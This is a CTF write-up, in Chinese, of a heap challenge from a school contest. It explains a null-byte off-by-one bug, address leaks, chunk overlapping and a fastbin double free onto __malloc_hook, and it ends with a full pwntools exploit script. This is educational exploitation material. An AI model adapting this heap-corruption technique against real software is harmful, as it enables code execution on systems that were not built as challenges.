一次Null-by-one的利用过程

学校比赛的压轴题。

0x00 信息收集

CHECKSEC

0x01 流程分析

将程序拖入IDA分析
CHECKSEC
常规菜单

1.添加功能

CHECKSEC
先malloc一个fastbin一个smallbin,大小固定位0x68和0xf8。一个保存hero的name,一个保存hero的power。函数存在明显的 nullbyte off-by-one漏洞。会覆盖下面堆的大小。

2 show功能

.CHECKSEC
将两个堆的内容输出,可用来泄露地址。

3.修改功能

CHECKSEC
这个修改功能很坑,先free原来的堆,再malloc回来写入。
依然存在 nullbyte off-by-one漏洞。

4 删除功能

.CHECKSEC
先free再将指针清零,无漏洞点。

0x02 攻击分析

1.信息泄露

通过常规堆地址泄露,分配两个small chunk防止与top chunk合并,free后,程序会泄露出main_arena地址,可以得到libc的基地址。
还可以泄露出堆的地址。由于fastbin chunk最后一位会补0,不能通过show函数泄露地址。
所以通过分配三个small chunk,free前两个,第一个chunk的fd会指向main_arena,bk会指向free掉的第二个chunk的地址。
通过show功能得到堆的地址及libc地址
CHECKSEC

2. 漏洞利用

基础知识:
CHECKSEC
chunk 结构
添加功能和修改功能存在off by one漏洞,会将small bin size0x101覆盖位0x100.
可以从两方面进行尝试
a.使用unlink
首先程序开启了PIE,不能得到保存堆地址的数组。其次,程序edit功能要先free再malloc。 如果覆盖ptr为&ptr-0x18,free会引起异常程序退出,所以unlink不可行。
b.使用堆块重叠进行fastbin利用
我们最终要实现这种情况。free a,free b,free a.
fastbin的空闲chunk通过单链表fd指针连接。
这时连接情况为a->b->a->0
之后进行四次malloc。
第一次malloc得到a
并修改a->malloc_hook(申请的堆大小为0x71,在malloc_hook-0x23处的0x7f可以用来利用)
第二次malloc得到b
第三次malloc得到a
第四次malloc得到malloc_hook-0x13地址可以通过one_gadget得到的地址覆盖malloc_hook,之后执行malloc函数就实现成功。

此时需要构造重叠堆块来实现。
此处用到off by one漏洞。
覆盖small chunk大小为0x100,表示前一个chunk处于空闲状态。free此small chunk,会产生一次堆的合并。
合并过程为,small chunk地址-pre_size处的chunk与small chunk进行合并。
由于我们知道堆的地址,可以进行伪造堆块的操作。存在限制(伪造堆块->fd->bk指向伪造堆块,伪造堆块->bk->fd指向伪造堆块 )。
presize 0x101块a
fd bk

0x70块 b 

presize为a+b 0x100 块c
此时free块c,再malloc一个small chunk一个fast chunk就可以得到分配到已经分配出来的块b。
这里可以利用edit功能里的free再malloc实现。
此时保存堆地址数组里就会有两个相同的块b,可以实现刚才的情况
此时还要注意free功能是同时free small chunk和fast chunk要注意控制small chunk不会产生double free
CHECKSEC
保存fast chunk地址出现了相同的地址,可以通过free功能实现fastbin attack

0x03 利用脚本
脚本有点粗糙 大神勿喷。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
p=process('./hero')
e=ELF('libc-2.24.so')
context(log_level='debug')
def ad(a,b):
p.writeline('1')
p.readuntil('name:')
p.write(a)
p.readuntil('power:')
p.write(b)
p.readuntil('Your choice:')
def de(a):
p.writeline('4')
p.readuntil('What hero do you want to remove?')
p.writeline(str(a))
p.readuntil('Your choice:')
def edi(a,b,c):
p.writeline('3')
p.readuntil('What hero do you want to edit?')
p.writeline(str(c))
p.readuntil('name:')
p.write(a)
p.readuntil('power:')
p.write(b)
p.readuntil('Your choice:')
ad('a','b')
ad('a','b')
ad('a','b')
de(0)
de(1)

ad('a','11111111')
p.writeline('2')
p.readuntil('show?')
p.writeline('0')
p.readuntil('Power:11111111')
heap_base=(u64(p.read(6)+chr(0)*2))-0x1e0
print hex(heap_base)
ad('a','11111111')
p.writeline('2')
p.readuntil('show?')
p.writeline('1')
p.readuntil('Power:11111111')
lib_base=(u64(p.read(6)+chr(0)*2))-0x398b58
onegad=lib_base+0xb8ac8
print hex(lib_base)
de(0)
de(1)
ad('a',p64(heap_base+0x1e0)+p64(heap_base+0x1e0))
ad('a',p64(heap_base+0x70)+p64(heap_base+0x70))
ad('a','123')
ad('a','123')
zz=raw_input()
edi('a'*0x60+p64(0x2e0),'123',2)
ad('aaaaaaaaaa','baaaaaaaa')
ad('a','123')
de(2)
de(3)
de(6)
malloc_hook=lib_base+e.symbols['__malloc_hook']-0x23
ad(p64(malloc_hook),'123')
ad('a','123')
ad('a','123')
ad('a'*0x13+p64(onegad),p64(malloc_hook))
p.writeline('1')
p.writeline('1')
p.interactive()